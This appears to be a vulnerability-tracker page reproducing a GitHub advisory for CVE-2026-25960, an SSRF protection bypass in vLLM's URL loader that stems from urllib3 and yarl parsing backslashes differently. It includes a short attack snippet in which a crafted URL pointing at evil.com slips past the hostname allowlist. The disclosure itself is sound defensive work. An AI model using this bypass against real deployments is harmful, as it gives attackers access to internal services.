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AI agent vulnerability · vLLM

CVE-2026-25960: vLLM has SSRF Protection Bypass

mediumCVSS 3.1 5.4GHSA-v359-jj2v-j536

Summary The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the loadfromurlasync method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.

Published Mar 9, 2026 · Updated Jul 17, 2026

Affected packages

vllm

Ecosystem
PyPI
Affected
>= 0.15.1, < 0.17.0
Fixed in
0.17.0
Check
pip show vllm

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.

Affected Component

  • File: vllm/connections.py
  • Function: load_from_url_async

Vulnerability Details

Root Cause

The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.

These two URL parsers handle backslash characters (\) differently:

| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
| `urllib3.parse_url()` | `https://httpbin.org\@evil.com/` | `httpbin.org` | `/%[email protected]/` | URL-encodes `\` as `%5C`, treats `\@evil.com/` as part of the path |
| `yarl` (via aiohttp) | `https://httpbin.org\@evil.com/` | `evil.com` | `/` | Treats `\` as part of userinfo (`user: httpbin.org\`), the `@` acts as the userinfo/host separator |

Attack Scenario

# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"

# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org"  ✅ Passes validation

# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
    async with session.get(malicious_url) as response:
        # Request actually goes to evil.com!  ❌ Bypass!

Why This Happens

  1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/
  2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%[email protected]/ which is treated as part of the path, leaving host=httpbin.org

This inconsistency allows an attacker to:

  • Bypass the hostname allowlist check
  • Access arbitrary internal/external services
  • Perform full SSRF attacks

Fixes

  • https://github.com/vllm-project/vllm/pull/34743

Credited to RacerZ-fighting, russellb, DarkLight1337, Isotr0py, Fushuling.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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